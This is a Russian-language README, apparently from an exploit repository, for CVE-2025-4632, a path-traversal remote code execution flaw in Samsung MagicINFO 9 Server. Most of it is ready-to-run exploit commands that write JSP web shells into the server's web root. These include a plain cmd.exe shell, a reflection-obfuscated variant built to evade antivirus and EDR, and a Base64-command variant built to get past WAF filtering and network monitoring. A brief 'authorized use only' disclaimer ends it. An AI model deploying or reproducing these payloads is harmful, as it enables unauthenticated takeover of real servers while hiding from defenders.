Этот репозиторий содержит скрипт Python для воспроизведения CVE-2025-4632, уязвимости неаутентифицированного удаленного выполнения кода (RCE) в сервере Samsung MagicINFO 9 (версии до 21.1052).
Данный репозиторий содержит скрипт-реализацию на Python для CVE-2025-4632 — уязвимости неаутентифицированного удаленного выполнения кода (RCE) в Samsung MagicINFO 9 Server (версии до 21.1052).
Уязвимость вызвана некорректным ограничением имени пути в сервлете SWUpdateFileUploader. Используя обход пути (../../), неаутентифицированный злоумышленник может записать произвольные файлы с правами SYSTEM, что приводит к полной компрометации сервера.
s4e-io (из сообщества ProjectDiscovery Nuclei (http/cves/2025/CVE-2025-4632.yaml)).CVE-2025-4632 для Nuclei.Скрипт автоматизирует процесс создания легитимно выглядящего запроса на обновление устройства. Он эксплуатирует параметр fileName, внедряя последовательности обхода каталогов, чтобы выйти за пределы целевого каталога загрузки и записать файл непосредственно в корень веб-сервера (/MagicInfo/).
Скрипт выполняет два шага:
/MagicInfo/servlet/SWUpdateFileUploader с путём обхода каталогов./MagicInfo/<filename> для подтверждения успешной эксплуатации.python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: Базовый URL цели (например, http://192.168.1.100:7001).-f / --filename: Имя создаваемого файла (например, shell.jsp).-d / --data: Необработанное содержимое, которое будет записано в файл.Следующие нагрузки были успешно протестированы в ходе оценочных мероприятий. Они предназначены для демонстрации воздействия с обходом средств защиты конечных точек.
Используется для безопасного подтверждения выполнения JSP без срабатывания антивируса или EDR.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
Доступ: http://<target>:7001/MagicInfo/poc.jsp
Стандартная веб-оболочка JSP. Примечание: Она может быть обнаружена и помещена в карантин современными AV/EDR-решениями, что приведёт к ошибке 404 Not Found при проверке.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
Доступ: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
Используется, когда стандартная оболочка блокируется. Данная нагрузка использует Java Reflection, чтобы скрыть сигнатуру Runtime.getRuntime().exec от статического анализа.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Доступ: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
Настоятельно рекомендуется для сложных команд: Если вы получаете ошибку 400 Bad Request при попытке выполнить команды с пробелами, обратными слешами или специальными символами (например, dir c:\), это означает, что строгая проверка URI сервером или WAF блокирует запрос.
Данная продвинутая нагрузка ожидает, что команда будет закодирована в Base64 в URL. Она декодирует её на стороне сервера перед выполнением, полностью обходя фильтрацию URL и скрывая команду от сетевых мониторов.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Примеры использования:
Закодируйте команду в Base64 локально (например, echo -n "dir c:\" | base64), затем передайте её в параметр c.
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==Отказ от ответственности: Данный скрипт предназначен только для образовательных и авторизованных целей пентестинга.